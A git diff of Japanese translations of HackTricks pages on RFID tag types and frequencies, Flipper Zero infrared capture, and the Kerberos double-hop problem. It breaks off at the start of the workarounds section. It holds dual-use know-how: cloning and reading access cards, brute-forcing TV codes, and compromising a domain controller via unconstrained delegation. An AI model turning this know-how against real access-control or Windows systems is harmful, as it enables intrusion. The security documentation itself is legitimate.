* **クラス1**タグは、**HF**バンドでも動作できます。さらに、生産後に**一度だけ書き込むことができます**。多くのクラス1タグは、受信したコマンドの**循環冗長検査**(CRC)を処理することもできます。CRCは、エラー検出のためのコマンドの最後にあるいくつかの追加バイトです。
|
||||
* **クラス2**タグは、**複数回書き込むことができます**。
|
||||
* **クラス3**タグは、現在の温度やタグの動きなどの環境パラメータを記録できる**埋め込みセンサー**を含むことができます。これらのタグは**セミパッシブ**であり、埋め込まれた電源(統合された**バッテリー**など)を持っていますが、他のタグやリーダーとの無線**通信を開始することはできません**。
|
||||
* **クラス4**タグは、同じクラスの他のタグとの通信を開始できるため、**アクティブタグ**です。
|
||||
* **クラス5**タグは、**他のタグに電力を供給し、すべての前のタグ**クラスと通信できます。クラス5タグは**RFIDリーダー**として機能できます。
|
||||
|
||||
### RFIDタグに格納される情報
|
||||
### RFIDタグに保存される情報
|
||||
|
||||
RFIDタグのメモリには通常、次の4種類のデータが格納されます:**エンティティ**を識別する**識別データ**(このデータには銀行口座などのユーザー定義フィールドが含まれる);エンティティに関する**詳細**を提供する**補足データ**;タグの内部**構成**に使用される**制御データ**;およびタグの**製造業者データ**で、タグの**一意の識別子(UID)**と製造、タイプ、ベンダーに関する詳細が含まれます。最初の2種類のデータはすべての商用タグに見られ、最後の2種類はタグのベンダーに基づいて異なる場合があります。
|
||||
RFIDタグのメモリは通常、4種類のデータを保存します:**識別データ**、これはタグが取り付けられている**エンティティ**を**識別**します(このデータには、銀行口座などのユーザー定義フィールドが含まれます);**補足データ**、これはエンティティに関する**さらなる****詳細**を提供します;**制御データ**、これはタグの内部**構成**に使用されます;およびタグの**製造者データ**、これはタグのユニーク識別子(**UID**)とタグの**製造**、**タイプ**、および**ベンダー**に関する詳細を含みます。最初の2種類のデータはすべての商業タグに見られますが、最後の2つはタグのベンダーによって異なる場合があります。
|
||||
|
||||
ISO標準は、タグが属する**オブジェクトの種類**を示す**アプリケーションファミリー識別子(AFI)**値と、**ユーザーデータの論理的な組織**を定義する**データストレージフォーマット識別子(DSFID)**を指定しています。
|
||||
ISO標準は、タグが属する**オブジェクトの種類**を示すコードであるアプリケーションファミリー識別子(**AFI**)値を指定します。ISOによって指定されたもう1つの重要なレジスタは、ユーザーデータの**論理的な組織**を定義するデータストレージフォーマット識別子(**DSFID**)です。
|
||||
|
||||
ほとんどのRFID **セキュリティコントロール**には、各ユーザーメモリブロックおよびAFIおよびDSFID値を含む特別なレジスタに対する**読み取り**または**書き込み**操作を**制限**するメカニズムがあります。これらの**ロック**メカニズムは、制御メモリに格納されたデータを使用し、ベンダーによって事前に構成された**デフォルトパスワード**を使用しますが、タグ所有者が**カスタムパスワードを構成**できるようにします。
|
||||
ほとんどのRFID **セキュリティ制御**には、各ユーザーメモリブロックおよびAFIおよびDSFID値を含む特別なレジスタに対する**読み取り**または**書き込み**操作を**制限**するメカニズムがあります。これらの**ロック****メカニズム**は、制御メモリに保存されたデータを使用し、ベンダーによって事前に構成された**デフォルトパスワード**を持っていますが、タグの所有者が**カスタムパスワードを構成する**ことを許可します。
|
||||
|
||||
### 低周波数と高周波数のタグの比較
|
||||
### 低周波数と高周波数タグの比較
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 低周波数RFIDタグ(125kHz)
|
||||
|
||||
**低周波数タグ**は、建物へのアクセス、インターコムキー、ジム会員カードなど、**高いセキュリティが不要な**システムでよく使用されます。より長い範囲を持つため、有料の駐車場での使用に便利です:ドライバーはカードをリーダーに近づける必要がなく、遠くからトリガーされます。一方、低周波数タグは非常に原始的で、データ転送速度が低いため、残高の保持や暗号化などの複雑な双方向データ転送を実装することは不可能です。低周波数タグは認証手段を持たず、短いIDのみを送信します。
|
||||
**低周波数タグ**は、**高いセキュリティを必要としない**システムでよく使用されます:建物のアクセス、インターホンキー、ジムの会員カードなど。より高い範囲のため、支払い駐車場での使用に便利です:ドライバーはカードをリーダーの近くに持ってくる必要がなく、遠くからトリガーされます。同時に、低周波数タグは非常に原始的で、データ転送速度が低いため、残高の保持や暗号化などの複雑な双方向データ転送を実装することは不可能です。低周波数タグは、認証手段なしで短いIDを送信するだけです。
|
||||
|
||||
これらのデバイスは**パッシブRFID**技術に依存し、**30 kHzから300 kHz**の範囲で動作しますが、一般的には125 kHzから134 kHzを使用します:
|
||||
これらのデバイスは**パッシブ****RFID**技術に依存し、**30 kHzから300 kHzの範囲**で動作しますが、125 kHzから134 kHzを使用することが一般的です:
|
||||
|
||||
* **長距離** — 低い周波数は長い距離に翻訳されます。1メートルまでの距離から動作するEM-MarinやHIDリーダーがあります。これらはよく駐車場で使用されます。
|
||||
* **原始的なプロトコル** — 低いデータ転送速度のため、これらのタグは短いIDのみを送信できます。ほとんどの場合、データは認証されず、保護されていません。カードがリーダーの範囲内にあるとすぐにIDの送信が開始されます。
|
||||
* **低いセキュリティ** — これらのカードは簡単にコピーでき、プロトコルの原始性のため、他の人のポケットから読み取ることさえ可能です。
|
||||
* **長距離** — 低い周波数は高い範囲に変換されます。EM-MarinやHIDリーダーの中には、最大1メートルの距離から動作するものがあります。これらは駐車場でよく使用されます。
|
||||
* **原始的なプロトコル** — 低いデータ転送速度のため、これらのタグは短いIDを送信することしかできません。ほとんどの場合、データは認証されず、何の保護もされていません。カードがリーダーの範囲内に入ると、ただちにIDの送信を開始します。
|
||||
* **低いセキュリティ** — これらのカードは簡単にコピーでき、プロトコルの原始性のために他の人のポケットからでも読み取られる可能性があります。
|
||||
|
||||
**人気のある125 kHzプロトコル:**
|
||||
|
||||
* **EM-Marin** — EM4100、EM4102。CISで最も人気のあるプロトコル。シンプルさと安定性から、約1メートルから読み取ることができます。
|
||||
* **HID Prox II** — HID Globalが導入した低周波数プロトコル。このプロトコルは西洋諸国でより一般的です。より複雑で、このプロトコル用のカードとリーダーは比較的高価です。
|
||||
* **Indala** — Motorolaが導入し、後にHIDが取得した非常に古い低周波数プロトコル。前述の2つと比較して、野生で遭遇する可能性は低いです。
|
||||
* **EM-Marin** — EM4100、EM4102。CISで最も人気のあるプロトコル。シンプルさと安定性のため、約1メートルから読み取ることができます。
|
||||
* **HID Prox II** — HID Globalによって導入された低周波数プロトコル。このプロトコルは西洋諸国でより人気があります。より複雑で、このプロトコル用のカードとリーダーは比較的高価です。
|
||||
* **Indala** — Motorolaによって導入された非常に古い低周波数プロトコルで、後にHIDに買収されました。前の2つと比べて、使用されることは少なくなっています。
|
||||
|
||||
実際には、他にも多くの低周波数プロトコルがあります。しかし、これらはすべて物理層で同じ変調を使用し、上記にリストされたもののいずれかの変形と見なすことができます。
|
||||
実際には、もっと多くの低周波数プロトコルがあります。しかし、すべて同じ物理層の変調を使用し、上記のもののいずれかのバリエーションと見なすことができます。
|
||||
|
||||
### 攻撃
|
||||
|
||||
**Flipper Zero**を使用してこれらのタグを**攻撃**することができます:
|
||||
これらのタグを**Flipper Zeroで攻撃できます**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
|
||||
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||
|
@ -69,21 +72,54 @@ ISO標準は、タグが属する**オブジェクトの種類**を示す**ア
|
|||
|
||||
## 高周波数RFIDタグ(13.56 MHz)
|
||||
|
||||
**高周波数タグ**は、暗号化、大規模な双方向データ転送、認証などが必要なより複雑なリーダータグの相互作用に使用されます。\
|
||||
銀行カード、公共交通機関、その他のセキュアパスで見つかることが一般的です。
|
||||
**高周波数タグ**は、暗号化、大規模な双方向データ転送、認証などが必要なより複雑なリーダーとタグの相互作用に使用されます。\
|
||||
通常、銀行カード、公共交通機関、その他のセキュアパスで見られます。
|
||||
|
||||
**高周波数13.56 MHzタグは、標準とプロトコルのセット**です。通常、[NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)として言及されますが、それが常に正しいとは限りません。物理的および論理的レベルで使用される基本プロトコルセットはISO 14443です。高レベルのプロトコルやISO 19092などの代替標準は、これに基づいています。多くの人々は、この技術を**近距離通信(NFC)**と呼びますが、これは13.56 MHz周波数で動作するデバイスのための用語です。
|
||||
**高周波数13.56 MHzタグは一連の標準とプロトコルです**。通常、[NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)と呼ばれますが、必ずしも正しいわけではありません。物理的および論理的レベルで使用される基本的なプロトコルセットはISO 14443です。高レベルのプロトコルや代替標準(ISO 19092など)はこれに基づいています。この技術は**近接通信(NFC)**と呼ばれ、13.56 MHz周波数で動作するデバイスの用語です。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
簡単に言うと、NFCのアーキテクチャは次のように機能します:カードを製造する会社が送信プロトコルを選択し、ISO 14443に基づいて実装します。たとえば、NXPは独自の高レベル送信プロトコルであるMifareを発明しました。ただし、MifareカードはISO 14443-A標準に基づいています。
|
||||
簡単に言えば、NFCのアーキテクチャは次のように機能します:送信プロトコルはカードを製造する会社によって選択され、低レベルのISO 14443に基づいて実装されます。たとえば、NXPはMifareと呼ばれる独自の高レベル送信プロトコルを発明しました。しかし、低レベルでは、MifareカードはISO 14443-A標準に基づいています。
|
||||
|
||||
Flipperは、ISO 14443プロトコル、Mifare Ultralightデータ転送プロトコル、および銀行カードで使用されるEMVのサポートを追加する作業を行っています。Mifare ClassicとNFC NDEFのサポートを追加する予定です。NFCを構成するプロトコルと標準についての詳細な説明は、後日別の記事で取り上げる予定です。
|
||||
Flipperは、低レベルのISO 14443プロトコルとMifare Ultralightデータ転送プロトコル、銀行カードで使用されるEMVと相互作用できます。Mifare ClassicとNFC NDEFのサポートを追加する作業を進めています。NFCを構成するプロトコルと標準についての詳細な考察は、別の記事にする価値があります。
|
||||
|
||||
ISO 14443-A標準に基づくすべての高周波数カードには、ユニークなチップIDがあります。これはネットワークカードのMACアドレスのようにカードのシリアル番号として機能します。**通常、UIDは4または7バイト**ですが、**最大で10バイト**になることもあります。UIDは秘密ではなく、簡単に読み取ることができ、**場合によってはカード自体に印刷されている**ことさえあります。
|
||||
ISO 14443-A標準に基づくすべての高周波数カードには、ユニークなチップIDがあります。これはカードのシリアル番号として機能し、ネットワークカードのMACアドレスのようなものです。**通常、UIDは4または7バイトの長さですが、まれに**10バイトまで**行くことがあります。UIDは秘密ではなく、簡単に読み取ることができ、**時にはカード自体に印刷されていることもあります**。
|
||||
|
||||
UIDを使用して**認証してアクセスを許可**するアクセス制御システムが多数あります。時には、RFIDタグが**暗号化をサポート**していても、これが**起こる**ことがあります。このような**誤用**は、セキュリティの点で**125 kHzカード**と同じレベルに引き下げます。仮想カード(Apple Payなど)は、電話所有者が支払いアプリでドアを開けることがないように、動的UIDを使用します。
|
||||
UIDに依存して**認証とアクセスを許可する**アクセス制御システムが多数あります。時には、RFIDタグが**暗号化をサポートしている**場合でも、これが発生します。このような**誤用**は、セキュリティの観点から、愚かな**125 kHzカード**のレベルにまで引き下げます。仮想カード(Apple Payなど)は、電話の所有者が支払いアプリでドアを開けることがないように、動的UIDを使用します。
|
||||
|
||||
* **短い範囲** — 高周波数カードはリーダーに近づける必要があるように設計されています。これにより、不正な相互作用からカードを保護するのに役立ちます。私たちが達成した最大の読み取り範囲は約15 cmであり、これはカスタム製の長距離リーダーを使用した場合です。
|
||||
* **高度なプロトコル** — 最大424 kbpsのデータ転送速度により、完全な双方向データ転送を備えた複雑なプロトコルが可能になります。これにより、**暗号化**、データ転送などが可能になります。
|
||||
* **高いセキュリティ** — 高周波数非接触カードはスマートカードに劣りませ
|
||||
* **低い範囲** — 高周波数カードは、リーダーの近くに置かなければならないように特別に設計されています。これにより、カードが不正な相互作用から保護されます。私たちが達成した最大の読み取り範囲は約15 cmで、これはカスタムメイドの高範囲リーダーを使用した場合です。
|
||||
* **高度なプロトコル** — データ転送速度が最大424 kbpsで、完全な双方向データ転送を可能にする複雑なプロトコルを許可します。これにより、**暗号化**、データ転送などが可能になります。
|
||||
* **高いセキュリティ** — 高周波数の非接触カードは、スマートカードに劣ることはありません。AESのような暗号的に強いアルゴリズムをサポートし、非対称暗号化を実装するカードもあります。
|
||||
|
||||
### 攻撃
|
||||
|
||||
これらのタグを**Flipper Zeroで攻撃できます**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
|
||||
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
または**proxmark**を使用して:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
|
||||
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,48 +1,66 @@
|
|||
# FZ - 赤外線
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングテクニックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## イントロ <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
## はじめに <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
赤外線の動作についての詳細は、以下をチェックしてください:
|
||||
赤外線の仕組みについての詳細は、以下を確認してください:
|
||||
|
||||
{% content-ref url="../infrared.md" %}
|
||||
[infrared.md](../infrared.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Flipper Zeroの赤外線信号受信機 <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
## Flipper ZeroのIR信号受信機 <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Flipperは、**IRリモコンからの信号を傍受**することができるデジタルIR信号受信機TSOPを使用しています。Xiaomiなどの**一部のスマートフォン**にはIRポートが搭載されていますが、**ほとんどの場合送信のみ**であり、**受信はできません**。
|
||||
FlipperはデジタルIR信号受信機TSOPを使用しており、**IRリモコンからの信号を傍受することができます**。Xiaomiのような**スマートフォン**の中にはIRポートを持つものもありますが、**ほとんどは信号を送信することしかできず**、受信することはできません。
|
||||
|
||||
Flipperの赤外線受信機は**非常に感度が高い**です。リモコンとTVの間の**どこかにいる**状態でも信号を**キャッチ**することができます。FlipperのIRポートにリモコンを直接向ける必要はありません。これは、誰かがTVの近くでチャンネルを切り替えているときに便利です。あなたとFlipperが離れた場所にいる場合でも、TVが反応します。
|
||||
Flipperの赤外線**受信機は非常に敏感です**。リモコンとテレビの間にいる状態でも**信号をキャッチすることができます**。リモコンをFlipperのIRポートに直接向ける必要はありません。これは、誰かがテレビの近くでチャンネルを切り替えているときに便利で、あなたとFlipperが少し離れた場所にいる場合でも機能します。
|
||||
|
||||
赤外線の**デコード**は**ソフトウェア側で行われる**ため、Flipper Zeroは潜在的に**任意のIRリモコンコードの受信と送信**をサポートしています。**認識できない**プロトコルの場合、TVが認識できなかった**場合は、受信したままの生の信号を**記録して再生**します。
|
||||
**赤外線信号のデコードは**ソフトウェア側で行われるため、Flipper Zeroは**あらゆるIRリモコンコードの受信と送信をサポートする可能性があります**。認識できない**未知の**プロトコルの場合、Flipperは受信したままの生信号を**記録して再生します**。
|
||||
|
||||
## アクション
|
||||
|
||||
### ユニバーサルリモコン
|
||||
|
||||
Flipper Zeroは、**どんなTV、エアコン、メディアセンターでも制御するためのユニバーサルリモコン**として使用できます。このモードでは、FlipperはSDカードからの辞書に従って、すべてのサポートされているメーカーの**すべての既知のコードを** **ブルートフォース**します。特定のリモコンを選択してレストランのTVの電源を切る必要はありません。
|
||||
Flipper Zeroは、**任意のテレビ、エアコン、またはメディアセンターを制御するためのユニバーサルリモコンとして使用できます**。このモードでは、Flipperは**SDカードの辞書に基づいて**すべてのサポートされているメーカーの**既知のコードを総当たりで試します**。レストランのテレビを消すために特定のリモコンを選ぶ必要はありません。
|
||||
|
||||
ユニバーサルリモコンモードで電源ボタンを押すだけで、Flipperは知っているすべてのTV(Sony、Samsung、Panasonicなど)に「電源オフ」コマンドを順次送信します。 TVがその信号を受信すると、反応して電源が切れます。
|
||||
ユニバーサルリモコンモードで電源ボタンを押すだけで、Flipperは知っているすべてのテレビの「電源オフ」コマンドを**順次送信します**:Sony、Samsung、Panasonic...など。テレビが信号を受信すると、反応してオフになります。
|
||||
|
||||
このようなブルートフォースには時間がかかります。辞書が大きいほど、終了するのに時間がかかります。 TVが正確にどの信号を認識したかを特定することは不可能です。 TVからのフィードバックがないためです。
|
||||
このような総当たりには時間がかかります。辞書が大きいほど、完了するまでの時間が長くなります。テレビが正確にどの信号を認識したかを知ることはできません。テレビからのフィードバックがないためです。
|
||||
|
||||
### 新しいリモコンの学習
|
||||
### 新しいリモコンを学ぶ
|
||||
|
||||
Flipper Zeroで赤外線信号を**キャプチャ**することが可能です。Flipperがデータベースで信号を**見つけた場合**、自動的にFlipperは**どのデバイスかを知り**、それとやり取りすることができます。\
|
||||
見つからない場合、Flipperは**信号を保存**し、**再生**することができます。
|
||||
Flipper Zeroで**赤外線信号をキャプチャする**ことが可能です。データベース内で信号を**見つけた場合**、Flipperは自動的に**このデバイスが何であるかを知り**、それと対話できるようになります。\
|
||||
見つからない場合、Flipperは**信号を保存**し、**再生する**ことを許可します。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,103 +1,105 @@
|
|||
# Kerberos Double Hop Problem
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## はじめに
|
||||
|
||||
Kerberosの「ダブルホップ」問題は、**Kerberos認証を2つのホップを介して**、例えば**PowerShell**/**WinRM**を使用しようとするときに発生します。
|
||||
## Introduction
|
||||
|
||||
**Kerberos**を介した**認証**が行われると、**資格情報**は**メモリにキャッシュされません**。したがって、mimikatzを実行しても、ユーザーの資格情報をマシンで見つけることはできません。
|
||||
Kerberosの「ダブルホップ」問題は、攻撃者が**2つのホップを介してKerberos認証を使用しようとする**ときに発生します。例えば、**PowerShell**/**WinRM**を使用する場合です。
|
||||
|
||||
これは、Kerberosで接続する際に次の手順が実行されるためです:
|
||||
**Kerberos**を介して**認証**が行われると、**資格情報**は**メモリ**にキャッシュされません。したがって、mimikatzを実行しても、ユーザーがプロセスを実行している場合でも、そのマシンにユーザーの**資格情報**は見つかりません。
|
||||
|
||||
1. User1が資格情報を提供し、**ドメインコントローラー**がUser1にKerberos **TGT**を返します。
|
||||
2. User1は**TGT**を使用して**Server1**に接続するための**サービスチケット**を要求します。
|
||||
3. User1は**Server1**に接続し、**サービスチケット**を提供します。
|
||||
4. **Server1**にはUser1の資格情報やUser1の**TGT**がキャッシュされていないため、Server1から2番目のサーバーにログインしようとすると、**認証できません**。
|
||||
これは、Kerberosで接続する際の手順が以下の通りだからです:
|
||||
|
||||
### 制約のない委任
|
||||
1. User1が資格情報を提供し、**ドメインコントローラー**がUser1にKerberosの**TGT**を返します。
|
||||
2. User1が**TGT**を使用して、**Server1**に接続するための**サービスチケット**を要求します。
|
||||
3. User1が**Server1**に接続し、**サービスチケット**を提供します。
|
||||
4. **Server1**はUser1の**資格情報**や**TGT**をキャッシュしていません。したがって、Server1からUser1が別のサーバーにログインしようとすると、**認証できません**。
|
||||
|
||||
PCで**制約のない委任**が有効になっている場合、**サーバー**はそれにアクセスする各ユーザーの**TGT**を取得します。さらに、制約のない委任が使用されている場合、おそらく**ドメインコントローラーを侵害**できるでしょう。\
|
||||
[**制約のない委任ページで詳細を確認**](unconstrained-delegation.md)。
|
||||
### Unconstrained Delegation
|
||||
|
||||
PCで**制約のない委任**が有効になっている場合、これは発生しません。なぜなら、**サーバー**はアクセスする各ユーザーの**TGT**を取得するからです。さらに、制約のない委任が使用されている場合、**ドメインコントローラーを侵害する**可能性があります。\
|
||||
[**制約のない委任のページでの詳細**](unconstrained-delegation.md)。
|
||||
|
||||
### CredSSP
|
||||
|
||||
この問題を回避する別の方法は、[**著しく安全でない**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**です。Microsoftから:
|
||||
この問題を回避する別の方法は、[**特に安全でない**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**です。Microsoftによると:
|
||||
|
||||
> CredSSP認証は、ユーザーの資格情報をローカルコンピューターからリモートコンピューターに委任します。この慣行は、リモート操作のセキュリティリスクを高めます。リモートコンピューターが侵害された場合、資格情報が渡されると、その資格情報を使用してネットワークセッションを制御することができます。
|
||||
> CredSSP認証は、ローカルコンピュータからリモートコンピュータにユーザーの資格情報を委任します。この実践は、リモート操作のセキュリティリスクを高めます。リモートコンピュータが侵害された場合、資格情報が渡されると、その資格情報を使用してネットワークセッションを制御できます。
|
||||
|
||||
セキュリティ上の懸念から、**CredSSP**は本番システム、機密ネットワーク、類似環境で無効にすることが強く推奨されます。**CredSSP**が有効かどうかを確認するには、`Get-WSManCredSSP`コマンドを実行できます。このコマンドにより、**CredSSPの状態を確認**し、**WinRM**が有効になっていればリモートで実行することもできます。
|
||||
セキュリティ上の懸念から、**CredSSP**は本番システム、敏感なネットワーク、および同様の環境では無効にすることを強く推奨します。**CredSSP**が有効かどうかを確認するには、`Get-WSManCredSSP`コマンドを実行できます。このコマンドは、**CredSSPの状態を確認**することができ、**WinRM**が有効であればリモートで実行することも可能です。
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
}
|
||||
```
|
||||
## 回避策
|
||||
## Workarounds
|
||||
|
||||
### Invoke Command
|
||||
|
||||
ダブルホップの問題に対処するために、ネストされた `Invoke-Command` を使用する方法が提示されています。これは問題を直接解決するのではなく、特別な構成を必要とせずに回避策を提供します。このアプローチにより、初期の攻撃マシンから実行されたPowerShellコマンドまたは最初のサーバーと事前に確立されたPS-Sessionを介して、セカンダリサーバーでコマンド (`hostname`) を実行できます。以下に手順を示します:
|
||||
